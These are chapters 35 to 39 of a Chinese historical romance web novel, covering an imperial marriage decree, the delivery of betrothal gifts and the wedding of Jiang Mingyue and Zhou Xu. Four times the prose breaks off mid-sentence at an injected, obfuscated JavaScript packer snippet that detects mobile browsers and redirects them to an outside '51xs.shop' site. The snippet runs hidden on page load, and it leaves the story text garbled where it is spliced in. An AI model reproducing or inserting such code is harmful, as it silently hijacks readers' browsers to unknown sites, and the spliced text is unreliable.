那丫鬟被尚书夫人看得哆哆嗦嗦,也不敢去看二夫人的脸色了,只一股脑地说:“琰少爷和表少爷在花楼为争同一女子,打了起来……现在表少爷昏迷不醒,琰少爷被抓起来了……” “什么!”老夫人两眼一黑,没想到张文琰竟然闯了这么大的祸。 “快去通知老爷——” “不,不用,”那丫鬟咽了咽口水,“那金吾卫说了,只是让琰少爷长个教训便会放人,毕竟都是自家人……” 是啊,都是一家人,贾家和二夫人自己解决便是。 尚书夫人暂且松了口气,又看向二夫人:“既然事情是这样的,那你为什么要扯上明月?” “我,我是觉得他们表兄弟二人向来关系不错,若不是因为表姑娘,又怎么会心中存着气……” 这的确是二夫人的心里话。可她会这么说,自然也藏着私心。 若是将这事与姜明月联系在一起,那么老夫人必然会出手,说不定还能如她弟弟说的那样,多给些补偿。不然自家人打了自家人,他们能捞着什么好? 尚书夫人心中却只剩失望。 等姜明月得了信赶来时,房中只有尚书夫人,二夫人不知去了哪里。 “外祖母……” 姜明月心疼地拉住尚书夫人。 “你病才刚好,怎么穿这么少?”老夫人不欲与她谈起二夫人,只摸了摸她的手,见她手不凉,才松了口气。 见姜明月还是欲言又止地看着她,尚书夫人无奈,只道:“你……”她实在说不出二舅母三个字,“老二媳妇,我给关起来了。” 这个关,是真的关,她身边的丫鬟婆子都给撤了,换上了尚书夫人的人,避免再出现今日这样通风报信的事。 至于贾家人,贾长生的伤,她不想管,上次的事情她还没找他们算账呢。 可经这一遭,她却更坚定了要给姜明月相看个好人家。 尚书夫人刚提起这事,姜明月便被吓了一跳。她不知道要怎么和外祖母解释自己与周诩的事,以此打消老夫人的念头。 尚书夫人只以为她是误会了,连忙道:“若是可以,外祖母便是养你一辈子也没什么。只是我年纪也大了,若是我不在那一天,我怕你受欺负… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027317|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “可是——” “也不是让你马上就嫁人,只是先相看着。” 老夫人拍了拍她的手,冲她眨了眨眼睛,“我娘家有个侄孙还不错。” 自从周诩出使回来,皇帝的心情就一直不错。 塞外形势稳定,与蛮夷通信的叛国贼也抓出来了,眼瞧着他的江山稳定,天下太平,自己离名垂青史又近了一步。 皇帝每日没什么大事,处理完折子后,便在新挖的太液池边垂钓。 正钓者,忽然有内监匆匆走来。 “圣上,武昌侯世子求见。” “哦?快宣。” 对于自己的功臣,皇帝并不介意他的突然到访,尤其是周诩这样年轻俊美的温润公子。 “武昌侯周诩见过圣上。” “爱卿快起来吧。”皇帝朝他挥了挥手,“爱卿今日有什么事?” “臣想请圣上赐婚。” “哦,你想——赐婚?这么快?”皇帝直起身,饶有兴致地看向他,“那姑娘答应你了?” 周诩想要请旨赐婚,皇帝自然不可能不调查这赐婚的对象。没想到一调查,才发现周诩去江南一趟,还动了真心了。 周诩一滞,紧接着又恢复了自若,“自然,只要圣上赐婚便是。” 从他面上的笑容看不出一点破绽,似乎姜明月那些表哥表弟他全然不放在心上。皇帝点点头,“既如此,那便拟旨来吧。” “臣谢圣上隆恩。” 只要赐了婚,她就不能反悔了。 待赐婚的圣旨送到尚书府时,尚书夫人正在翻看京中后生的名册。 小丫鬟从外面慌慌张张地跑了进来,险些没被绊倒,“圣旨,圣旨到了!” “什么圣旨?”尚书夫人还没反应过来,就见长子也匆匆走了进来。 “母亲,圣上的圣旨到了。快去接旨吧!” 尚书夫人总算明白发生了何事,吩咐人将她的诰命服取来。只是她还是疑惑,“好端端的,怎么会来圣旨?” 张大爷也说不出,只说:“那内监说是给府上表姑娘的。” “明月?” 尚书夫人有些意外,她这外孙女才回京不久,也不怎么出门,怎么会让皇帝传圣旨给她呢? 来不及细想,尚书夫人稳了稳心神,命人去叫姜明月,自己换上了厚重的诰命服。 二夫人虽然被关起来了,却没有被休弃,自然也要出来接旨。这些天,她每日除了抄写佛经,便是被婆子们看着拜佛,过得了无生趣,甚至连儿子都不能见。她怪不得旁人,只能怪尚书夫人与姜明月。 听到那些丫鬟们议论,说是宫中给表姑娘的圣旨,她忍不住冷笑了一声。 给表姑娘的圣旨,能是什么旨意? 说不定是圣上又要选秀了。左右府上只有姜明月一个适龄未嫁的姑娘,便让她进宫。 二夫人可一点也不担心姜明月进了宫会得宠。圣上的年纪都快赶上她公公张尚书了,太子儿子都有几个,她此时进宫,能有什么未来? 她有了精神头,挺起胸膛,“来人,还不给我换上诰命服?” 36. 纳征 除了上值不在府内的张尚书,张府其余人等都在尚书夫人的带领下到场,在院中依次排开。 二夫人望着尚书夫人身边的姜明月,见她虽然病了一场,容貌却依旧姣好,更是因为大病初愈,多了几分弱柳扶风之态。反观她与琰哥儿,都是一副萎靡之色,更不用提受了伤的侄子长生。 不过一想到待会她听到圣旨后的表情,二夫人又平衡了。 她随着人群跪下,听那内监展开黄绸,高声念到:“门下:感姜氏女明月,功臣之后,温婉贤淑……朕不忍辜负,着赐婚于武昌侯世子为妻,钦此!“ 内监念完,见众人还没什么反应,咳了一声,将圣旨递给姜明月:“姜姑娘接旨吧。” 姜明月愣了一瞬便反应过来。她心中平静得很,面上露出笑容,扬声谢了恩。她一出声,众人这才如如梦方醒般,也跟着谢恩。 二夫人失魂落魄,呆呆地跟着众人谢恩,怎么也没想到圣上会给姜明月赐婚。 而且赐的还是武昌侯世子。 尚书夫人也没有想到。 可是紧接着,她就真心实意地露出了笑容。 武昌侯世子年轻有为,平日里也听说他洁身自好,后院清净。不管他将来如何,可至少明月刚嫁过去是不用费心打理后院的。 再加上自己女儿是武昌侯夫人,想来姜明月是不用担心的。 不过,圣上怎么会突然给这二人赐婚? 周诩那样的身份,他若是不乐意,对明月不好怎么办? 她想了许多,越想就越发愁。 就在她拿定主意,准备先去找女儿商量一番对策时,武昌侯府的纳征先来了。 因是赐婚,那肯定是男女双方都同意了,八字也合出大吉才行,故而许多步骤也就简化了,只等纳征之日武昌侯府来送聘礼。 武昌侯府自然也收到了赐婚圣旨。除了武昌侯,府中其他人都吓了一跳,尤其是张氏,怎么也没想到圣上会突然赐婚。然而等她看到周诩并不抗拒,反而颇有些满面春风的样子时,才恍然大悟。 对于周诩这个继子,她是不喜的。 她嫁过来时,周诩已然长成,本身就不会与她有多亲近,加上当时府中总有拿她与先夫人比较的说法,使得她越发讨厌与先夫人有关的一切。 可如今见他能够使了手段让圣上赐婚,娶自己的女儿,她心情不禁变得复杂起来。 不过姜明月是自己的女儿,张氏筹备起聘礼自然也不手软。 老夫人不知周诩与姜明月的内情,本来还有些怀疑他二人之间的关系,直到武昌侯与她解释过,她心中才一惊。原来这都是圣上的意思。 府中几位做主的人都没有异议,其他人自然只能恭喜周诩。毕竟这是皇帝赐婚,也是让武昌侯府众人面上有光的事啊! 纳征当日,尚书夫人看着比姜明月还要紧张,一大早便将她拉了起来,让擅长梳妆的丫鬟替她打扮。 她换了一身绣了金线的衣裙,行动间裙摆如有流光溢彩。为了相配,姜明月头上的簪子也都是金的,丫鬟又给她系了一串白珍珠的链子,看着华丽无比。 “外祖母怎么也没想到,圣上会突然赐婚。我还想着替你相看呢,那名册都收了不少,如今都用不少喽。” 尚书夫人望着镜中比平日截然不同,如盛开的牡丹般张扬的姑娘,忍不住感慨。 姜明月望着镜中的自己,这是幼时参加堂姐纳吉之日时,自己也幻想过的场景。只不过,在她的幻想中,自己也应该如堂姐那般,听到长辈的打趣便满脸通红,全是羞涩与欢喜,而不是如今如自己这般,面上带着笑,可眼中只有平静。 不过如今她不用再提心吊胆,小心翼翼讨好他了吧。这样一想,做这个世子夫人其实也是件好事。 “外祖母如今不用再替我操心了。” 姜明月不再纠结,倒是真心实意笑起来,向尚书夫人道谢。 等她收拾好,张锦青便迫不及待地跑了进来,拉着姜明月左看右看。 看着看着,她却红了眼眶。 “表姐真好看……” “你表姐好看,你哭做什么?” “姐姐们都要嫁人了,我难过还不成吗!” 听她这么一说,姜明月的眼睛也开始发酸。眼见着姐妹两个想要抱头痛哭的架势,尚书夫人眉头一皱,上前去把张锦青拉开。 “今天不过是纳征,别搞得像再也见不到了似的。” 张锦青见祖母不懂自己的心,不再与她说话,上前拉起姜明月。 “表姐走,我们去前院看看。” “哎——”尚书夫人没来得及拦住她们,索性便由着她们去了。本来按着规矩,今日姜明月也是要站在屏风后面出面的,因此也不怕她被看到。 张锦青拉着姜明月来到前院时,仆从们正一箱一箱往里面搬聘礼。那箱子看着沉甸甸的,足以证明武昌侯府对这门亲事的重视。外面围观的人见了,不管心中有什么猜测也说不出口了。 再有什么猜测,这门亲事也都定下了。尚书府这表姑娘据说是功臣之后,圣上体恤功臣,给人家子女寻了门好亲事,有什么不好?武昌侯府看着是低娶,却也体现了自己的忠心。 正看着,忽然有人喊了一声:“武昌侯世子来了!” 姜明月一愣,也没想到周诩今日会亲自前来。 这一声喊完,府中的气氛更热闹了。不久,就见周诩手中拎着一对大雁走了进来。他来到张尚书面前,深施一礼。 “晚辈见过张尚书。” 大雁是纳采时才用的,原本是跳过了的,可周诩依旧独自去打了两只来。 张尚书也有些意外,可很快他便笑了起来,看着周诩的目光中也全是认可。他只觉得周诩不愧是皇帝器重的年轻人。明明是赐婚,他却打了两只大雁来,对这门婚事多重视啊,圣上若是知道了,还不得更高兴? 周诩不在乎皇帝是怎么想的,他只在意姜明月是怎么想的。 他目光微动,落在了屏风后正向外看的姜明月身上。 对上他清亮的眸子,姜明月也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037346|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知怎么了,心一跳。她转身就往回走。 她深吸一口气,一定是这种氛围导致的…… “明月。” 身后,周诩开口唤道。 姜明月不知道他是怎么跟出来的。可她笃定他不能进后宅,便一个劲地向前走。可她显然忘了周诩的手段。还没走出多远,她又听到了张锦青的叫声:“表姐!你等会!表姐夫叫你呢。” 姜明月猛地回头,见周诩气定神闲地站着,他身旁,张锦青一脸不解地望着她,似乎是在疑惑她为什么不理周诩。 周诩对上她嗔怪的目光,无奈地笑笑,十分无辜。 姜明月不得不站定。她不想让张锦青担心自己,自然只能表现出一副难为情的样子。 “我不过是没听到,你别乱喊。” 六礼都到纳征了,也差不多了。张锦青撇了撇嘴,也不在这待着,转身跑走了。等她一走,姜明月就没那么难为情了。 她看向周诩,“世子叫我有什么事吗?” 她站的离周诩有些距离,周诩也不介意,迈步走了过来。 待走近了,他一愣,像是注意到了什么,紧接着笑了起来。 “方才没注意到,你我二人今日穿的倒是相像。” 他今日穿了一袭暗红色锦袍,而姜明月的一身红,也是尚书夫人为了讨个好意头准备的。乍看之下,确实像是一对。 “难不成世子想看我穿一身白不成?”姜明月抿唇,不想与他继续讨论这个话题。 周诩顿了顿,将心中翻滚的情绪压下去,温声道:“我知你还没有原谅我,定亲一事,也对你不公。可我并不是想害你。从今往后,我一定会让你过得更好,不会让你后悔。你能再信我一次吗?” 再信他一次?姜明月不知道他为什么要执着于自己。难道他这么说了,她就要信吗? 见她迟迟不说话,周诩也不愿逼迫,只是对她笑了笑。 “我知道了。想来,只这么说你也是不会信的。” 姜明月看不惯他一副胸有成竹的模样,忍了半天,还是没忍住,轻哼一声。 “全看世子的表现了。” 说完,她不再与他多言,转身朝后院走去。 周诩听她这话甚是耳熟,很快便想起这是自己之前对她说过的话。他忍不住叹了一声,双唇抿起。 话是他自己说的,无可辩驳。 他出来的时间太久,前院还有事要他出面。周诩在原地站了片刻,也不知在想些什么,之后才转身回了前厅。 纳征过后,便只剩请期了。 婚期是什么时候,全由武昌侯与张尚书两家定夺。 武昌侯不甚在意这些事。看张尚书的样子,似乎只要武昌侯府提哪天,他就能应哪天。 而最在意这事的,应该就是尚书夫人了。 周诩桃花眼微眯,心中有了盘算。 姜明月回到后院后,尚书夫人还以为她是害羞了。她刚想去问问姜明月,就听有丫鬟来报,说武昌侯世子要来与她请安。 37. 许婚 他来得正是时候。尚书夫人正不知道他对这亲事是什么态度,闻言,连忙让人将他请进来。 周诩进门后,率先躬身朝她施了一礼。 “晚辈周诩见过夫人。” 他以晚辈的身份见礼,尚书夫人先是一愣,紧接着便松了口气,赶紧让人给他看座。 虽然两家有姻亲,可是周诩并不怎么与张家来往。尚书夫人上一次见他,居然还是在自己长女再嫁那一日。印象中,少年生的精致漂亮,外表与武昌侯并不太像,只有一双桃花眼与他极为相似,透着狠戾与野心。 许是那一次给她的印象十分深刻,所以这么多年过去了,尚书夫人得知皇帝给他赐婚时,才会担心他会不会甘心。 好在这次再见到他,从他的言行举止来看,他至少还是很看重这门亲事的。 不过尚书夫人还是很善解人意的。虽然周诩不说,但万一他只是碍于圣上的意思强忍着没有发作呢?圣上可以不在乎,可他们家嫁女,肯定要更谨慎一些为好。 于是在周诩不动神色提起婚期时,尚书夫人微微一笑。 “明月不在我们身边长大,我与老爷也愿意多留她些时日。等礼部的吉日出来了,世子不如就选最晚的那一天。” 她这话,一是为了体现姜明月并不是无依无靠的孤女,二也是为了试探周诩的心意,看他怎么回答。万一他真的有不满,有心怠慢推迟婚期,她这么说了,那彼时尚书府也有合理的解释。 周诩一顿,下意识抬头朝尚书夫人看去。尚书夫人笑容温和,静静地看着他,并不像是推辞,反而是真心实意说的这话。 细想之下,周诩便明白了她的用心。 周诩沉默了片刻,尚书夫人等他回答沉得住气,却不料下一秒,就见他起身,撩起袍子跪了下去。 这下倒是让尚书夫人吃了一惊。她想去将人扶起来,可转念一想,还是没有动,准备听听周诩要说什么。 周诩垂下眼,面色不改,只是收敛了笑容,认真道:“我知夫人在担心什么。实不相瞒,这门亲事虽然是赐婚,却是我在圣上面前求来的。” 尽管他隐去了这其中的细节,却足以让尚书夫人感到意外。只听他接着道:“请夫人放心,我是真心倾慕姜姑娘。我如此费心迎娶,便没有想过辜负她。若是我不愿,今日就大可不必亲自前来送聘礼。至于家父与祖母,我向您保证,他们都认可了这门亲事,更何况有圣旨在,绝不会为难姜姑娘的。” 虽然令人出乎意料,周诩这番话是尚书夫人怎么也没想到的,但他说这话并不是没有根据的。二人并非从未有过交集,尚书夫人知道姜明月是他寻回的,之前落水,听长孙说也是周诩出手相助。如此想来,那时周诩便是上了心的吧。 尚书夫人沉吟着点点头,“你说的话,我都明白了。世子先起来吧。” 周诩不动声色地观察着她的神色,见她面上露出动容,周诩便顺从地站了起来。他没有重新坐下,而是取出了一叠纸,递给尚书夫人。 “这是做什么?” 尚书夫人不解其意,一旁的嬷嬷连忙接过来递给她。等她将那叠纸展开看了,却发现一张张除了银票便是地契。 “这是家母留下的,我想将它交给姜姑娘——” “那世子可别给我。”尚书夫人打断了他,望着眼前的年轻人,脸上也忍不住露出打趣的笑容,“不如世子到时候,亲自交给明月如何?” 周诩轻咳一声,在她的目光中不自觉抿唇,似乎是想掩饰自己的不自在,然而一双桃花眼中却闪烁着潋滟的光芒。 “也好……”他重新将东西收起来,顿了顿,又道:“那婚期一事……” “你放心,如今我既然知道了你的心意,自然不会让你为难的。” 有了尚书夫人这句话,周诩便放下心来。虽然张尚书心思都在官场上钻营,可是这么多年来,尚书府并没有什么乱七八糟的妾室,足以见他对正室的尊重。而能让他如此尊重,尚书夫人自然也不是无能之人。她既然这么说了,就是认可了周诩。 待送走了周诩,为了纳征忙碌了一天的尚书府总算又恢复了平静。尚书夫人也总算有空来找姜明月说话了。 早有绣娘将嫁衣送了过来,姜明月身为世子夫人,只需要象征性地绣几针便可。等到了出嫁前,绣娘再根据她的身形做些调整即可。 尽管如此,姜明月却还是拿起了针线,认真地绣了起来。 正绣着,就听丫鬟唤了一声老太太。她抬起头,见尚书夫人面带笑容走了进来。 “外祖母怎么来了?” 姜明月赶忙放下针线,上前扶着她坐下。 “我啊,是高兴。”尚书夫人拉着姜明月,让她在自己身旁坐下,“今日,你可见着世子了?” 姜明月一听,撇开脸,“见到了……” “你觉得他如何?” 姜明月摇摇头,“什么如何不如何的,我也不知道。” 尚书夫人见她似有些羞恼,笑着将她揽住,把周诩今日那番话与她说了一遍。不过她隐去了最后周诩要将自己的私产赠与她的事。这种事,还是留着让周诩自己说吧。 这武昌侯世子,为了提前婚期,也算的上是豁出去了。 她说着,只觉得心中欢喜,一颗心总算放下了。姜明月靠在她怀中,双唇微张,心里却乱了起来。 尚书夫人见她愣了,慈爱地摸了摸她的长发。 “虽然外祖母愿意相信世子,可若是他今后有对不起你的地方,你只管回来找外祖母。不过,外祖母虽然舍不得你,但只要你二人日子过得好,我宁愿你一辈子也别回来找我。” 说到最后,她开了个玩笑,不过眼眶还是悄悄地红了。 等她走后,姜明月还没有理清思绪,只觉得不论心中还是脑中,都乱成一团浆糊般。她重新捡起一旁的针线。嫁衣似火,入眼是鲜红一片,仿佛要将她灼伤似的。 尚书夫人尽管答应了周诩不会将婚期定的太晚,却也没有选那最近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056289|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子。她将日子定在了入秋后,张尚书没有意见,只是不知道武昌侯府怎么说。消息送到了武昌侯府,周诩心知这是最合适的日子了,也没有异议,婚期便定在了九月初五。 婚期定下后,最不开心的人是张锦青。就算是赐婚,她怎么也没想到表姐会在今年就出嫁,而且是与亲姐姐一前一后。 “表姐怎么就不能再留个两年再出嫁?”她叹了口气,“其实不说我也知道,是那武昌侯世子年纪大了,留不得。” 她这时也没有心情叫表姐夫了。 “你怎么说话的。”张凝画恨铁不成钢地瞪了一眼妹妹,又赶紧去看姜明月。谁知道姜明月用绣棚遮住脸,正在止不住地笑。 张凝画瞧着这表妹的样子,心中却有些担心。她三言两语打发走了妹妹,让红袖将门关好,凑到了姜明月身边。 “明月,那事……给你讲过没有?” “什么?”姜明月不明白她指的是什么。 “就是……你懂的,成亲后那事。”看着张凝画朝她挤眉弄眼,神神秘秘的样子,姜明月一下子明白了她说的是什么。 她的脸“腾”得一下就红了。 尽管她对这事并不陌生,可是被张凝画这么说出来,她对脸还是烫了起来。 “没有……” 她的母亲不在身边,按理说,就该由她的舅母与她讲。大夫人与她算不上太亲近,说起这种事总是有些尴尬,也就一直拖着还没与她讲。 可是就算没人与她说,姜明月该知道的也都知道了。 张凝画听了,露出一副“我就知道”的样子。她叹了口气,也知道姜明月身份尴尬,然而临近她的婚期了,她怎么能不知道?于是张凝画决定自己挺身而出。左右都是一家人,若不是她来,那便是让祖母来了。 “今晚你去我房中睡。” 姜明月拒绝不了,只得应下。到了晚上,姜明月刚换了寝衣,便被张凝画拉到了床上。 她小心翼翼地从柜子里翻出几本画册。 “你别不好意思,我之前也是这么过来的。这都是正常的……”说着,她却将册子塞进姜明月手中,自己不敢去看。 姜明月只能飞快地翻了翻册子。看着画册上纠缠在一起的人,她明明从前在花楼还见过更生动的图画,可此刻她却还是莫名其妙心跳得飞快。 “反正成亲的时候就是要做这些事。其实这些都不重要,你就听男人的就行,最重要的是要记住一些容易受孕的方法,特别是你作为世子夫人……” 受孕?姜明月有些迷茫,这是她从来没学过,也没考虑过的东西。 她转头看向张凝画,知道她说这些都是为了自己好。武昌侯府是世家,比常人更看重子嗣。然而她还是不禁有些好奇,若是她没有子嗣,周诩会如何呢? “反正你明白了就好。” 张凝画又挑了些她记得的讲与她听,最后两个人的脸都红的不像话。 “快睡吧。明天起来还要试嫁衣呢。” 38. 大婚 第二日,绣娘果然送来了嫁衣。嫁衣早就做好了,如今不过是怕有不合身的地方,再做些修改。 等试过了嫁衣,转眼便入了秋,到了九月,武昌侯府与尚书府都布置了起来,张灯结彩,好不热闹。 九月初五这一日清晨,姜明月被红袖叫醒时,还有些没反应过来。 直到她被拉着坐在梳妆台前,江嬷嬷用沾了凉水都帕子给她擦脸时,她才彻底清醒。 “待会要给姑娘绞面,用冷水擦过脸便没那么痛了。”江嬷嬷见姜明月双眼睁圆了,连忙与她解释。 可尽管有她的偏方,真等那绞面的嬷嬷动手时,姜明月还是被疼得眼泪汪汪,连带着脸颊上都泛起红晕。 “姑娘瞧着不用上妆都行了。”红袖忍不住道。 “那可不行。” 负责梳妆的丫鬟拿来了瓶瓶罐罐,姜明月看得眼花缭乱,只能坐着一动不动,任由她们动作。梳妆完毕,还不等她喘口气,就被红袖扶了起来,开始穿嫁衣。入秋后天气逐渐凉了起来,厚重的嫁衣穿在身上也不会觉得闷热。 等姜明月好不容易吃了两块糕点后,就听丫鬟说都准备好了,姑娘要去拜别张尚书和尚书夫人了。 红袖扶着姜明月来到正房。待尚书夫人见到姜明月进门的那一刻,眼眶便红了。一旁的张尚书也触景生情,心中不免生出许多感慨。 “明月拜别外祖父,外祖母。” “好孩子,成了世子夫人后,你更要谨言慎行,孝顺公婆,在老夫人面前尽孝,体贴夫君……”张尚书絮絮叨叨地念着,一旁的尚书夫人等他说完,取过红帕子,盖在姜明月头上。 “明月,记得照顾好自己。” 不知过了多久,就听丫鬟跑进来报,说外面迎亲的人到了。鼓乐声响,锣鼓喧天,姜明月坐在房中,盖着盖头看不见,却觉得听力比平时好了许多。红袖刚开始还在一旁安慰她,可是等人群到了房门外,她也紧张了起来,止了话。 姜明月紧紧攥着手,听着外面的动静。 张锦青在房门外催着周诩做催妆诗。她的声音听起来不情不愿,在周诩的诗赢得众人叫好时,甚至重重地哼了一声。 “看来诩哥儿的喜钱还要再多给一点。” “我不缺钱,只要他对我表姐好就行。”张锦青挺起胸膛,面对跟着周诩来凑热闹的成王也毫不胆怯。 “你怎么说?”成王碰了碰身边的人。 周诩身着大红的喜袍,帽边簪着红花,却愈发显得他面如冠玉,一双桃花眼如星光般闪烁。 “这个自然,请张姑娘放心。” “吱呀——”房门被推开,姜明月的心一瞬间提到了嗓子眼。幸好她盖着盖头,看不到周诩,只能看到他大红的衣角。 红袖扶着她出了院子,一步一步走出尚书府,最后上了轿子。周诩也翻身上了马,围着轿子走了三圈,喜娘这才高声喊道:“起轿!” 等到了武昌侯府,周围更是热闹非凡。姜明月来不及想太多,只能由红袖扶着,按照喜娘的话下了轿子,转席,到了正堂,才终于是拜天地。 姜明月顶着沉重的凤冠花钗,弯下身,心中却忍不住地出神。 这是她第三次来武昌侯府,从前只想逃离这里,如今却成了这府中之人。 拜堂礼毕,等进了新房,姜明月无论再怎么紧张,也躲不过了。喜娘说着吉祥话,姜明月听到坐在她身边的周诩微微侧身,衣袍的绸缎与床榻摩擦发出细微的声响。 周诩抬起手,将盖头挑起。 眼前一亮,姜明月第一眼见到的,便是他捏着那帕子修长的手指。本该是无比紧张的姜明月,不知为何,在发觉到他也有些微微颤抖的手时,突然就没那么紧张了。 她与周诩也不是陌生人了,她何必这么害怕? 周诩自然不是害怕,只是他心中也隐隐有些紧张。这一日,他未曾与她说过一句话,他不知道她此刻在想什么,若是她还是对自己有气,后悔嫁给自己了,在难过或者生气该怎么办? 好在他想的这些都没有发生。盖头掀起,姜明月的睫毛微颤,紧接着她抬起眼,水眸中清亮一片。 房中的女眷们有不少都是第一次见到这位新娘子。等周诩挑了盖头,她们才看清她的样貌。虽不知道她的品性如何,可只看这模样,凤冠红衣下,确实艳如牡丹,双眼明亮,并没有任何扭捏之态。 “诩哥儿愣着做什么?喝合卺酒吧?” 有妇人难得见周诩露出怔愣的姿态,不复往日的沉稳,忍不住打趣道。 周旭抿了抿唇,重新露出笑容,看向喜娘。喜娘连忙端着两杯酒上前,酒杯用丝线缠着,两人各执一杯,端起来时,那红线便抻直了,姜明月只得朝周诩那一侧微微倾身。两人离得极近,她只需要抬眼,便能看清他眼睫垂下,遮住的琥珀色的眸子。 忽地,周诩微微转目,朝她看了过来。姜明月心中一跳,立即别开眼,抬手将杯中的酒饮下。 杯中的酒不是什么烈酒,甚至还带着一点点甘甜,然而姜明月喝完,却还是觉得整个人有些晕乎乎的。 新人的礼成了,但是周诩还需要出去陪今日来的宾客。房中的女眷也都格外识趣,没有再为难新妇。待人都走后,姜明月这才松了口气。 江嬷嬷笑着上前,替她将发饰卸下。 她一直伺候姜明月,自然知道周诩与她之间发生的种种。之前见到周诩的所作所为,她还十分担心,现在见周诩与姜明月成亲,她也松了口气。不过她看得出来,二人之间的心结还未彻底打开。 这点上她爱莫能助,但是帮着姜明月熟悉侯府,却是没问题的。 “夫人,想来世子没那么快回来,不如我先叫厨房做点吃的来。” 姜明月颔首,江嬷嬷便唤来一个丫鬟,让她去厨房传话。见着周诩院里的丫鬟,姜明月却蓦地想起一个人来。 “嬷嬷,你这一路上,见到青鸳了吗?” 青鸳是周诩的大丫鬟,也是唯一在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068511|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴州见过她的人,足以见她的地位。可是世子成亲,他的院中却不见青鸳,实在有些奇怪。 “夫人寻她有事吗?” 不等江嬷嬷开口,一旁周诩院中的嬷嬷却开口了。她垂着眼角,看着有些严肃,方才从头到尾她也没说话,只是在一旁做事。 见姜明月转头看她,她朝姜明月福了福身。 “奴婢姓孙。夫人若是寻青鸳的话,怕是有些为难。她前些时候便被放出府去了,想来是回原籍去了。” 姜明月一愣。 孙嬷嬷又接着道:“世子说夫人身边有自己的丫鬟,他身边原也用不到丫鬟,便让院子里几个丫鬟都出府或者调去别处了。” 更何况青鸳做了那种事,世子怎么会还留她在身边? 不动神色替周诩说了几句好话,孙嬷嬷又住了口,静静站在一边。 “我知道了,多谢嬷嬷。” 姜明月对她笑笑,没再言语,等卸去饰品后,才去洗漱。等一切都忙完后,前院的宴席还没有结束。没什么要紧事做,她用了点粥,便让孙嬷嬷找了本书来看,顺便默默祈祷一会周诩最好被灌醉了再回来。 可惜,前院虽然热闹,却没有多少人在灌周诩酒。他在朝中名声向来不错,本就人缘好,认识他的人又知道若是在他大喜的日子给他添麻烦,之后他肯定不会轻飘飘放过。因此,与其灌他的酒,不如去与爱喝的三老爷喝酒。 可是该敬的酒还是要敬。直到周诩来到皇子那一桌,却见三皇子主动站了起来。 成王皱了皱眉,却没动。 “周世子,恭喜啊。” 周诩笑容不变,“多谢殿下。” 他不欲与三皇子多说,可三皇子却又上前几步,挡住了他的去路。 三皇子望着他脸上的笑容,冷笑一声,压低声音,用只有他们二人才听得到的声音说道:“我舅父前些时从江南回来了。他与我说了些有意思的事,不知周世子想不想知道是什么?” 周诩挑眉,“殿下想与我说什么,不如改日再说?” 三皇子点点头,“也行,毕竟这事与周世子的夫人有关,不如就等世子与夫人进宫谢恩那日再说如何?” 周诩心中一动,明白了他想做什么。想来是他从叶家得了信,想拿姜明月的出身做文章了。 他双眼微眯,看着得意洋洋的三皇子,却觉得他真不太聪明。 “殿下想要说什么,尽管去说好了。只是我与夫人是圣上赐婚,却不知道殿下想要与圣上说什么呢?” 他笑了一声,望着三皇子,像是在等他的回答。三皇子一滞,却说不出话来。 新房中,紫衣匆匆从外面走进来,正要向姜明月传话,却见她趴在案上,不知道什么时候睡着了。她看了看一旁站着的红袖,正不知道该不该叫醒她时,周诩已经走了进来。 “无事,你们先下去吧。” 他声音清朗,听不出醉意。红袖放下心,与紫衣对视一眼,退了下去。 39. 缓和 姜明月睡得并不沉。迷迷糊糊间,她感觉身体忽然腾空,不禁一下子惊醒。她一抬手,便碰到了冰凉的绸缎以及上面的刺绣。她睁开眼,才发现原来是周诩将自己抱了起来。 她沐浴后也没有重新梳妆,只换了轻薄的丝绸衣裙,此刻周诩的手穿过她的后背与大腿。热意从他身上传来,蔓延至全身,最后从她脸上透出来。 她有些不自在。刚想挣扎时,周诩便注意到了。 他低头朝她看来,“抱歉,将你吵醒了吧?我只想让你去床上休息。” 二人离得近,姜明月甚至能在他眼中看见自己的倒影。她扭头,轻声道:“多谢世子。世子将我放下来吧。” 她不想去床上与他说话。周诩闻言也应了一声“好”,可他的脚步却没停,直走到床边才将她放下。 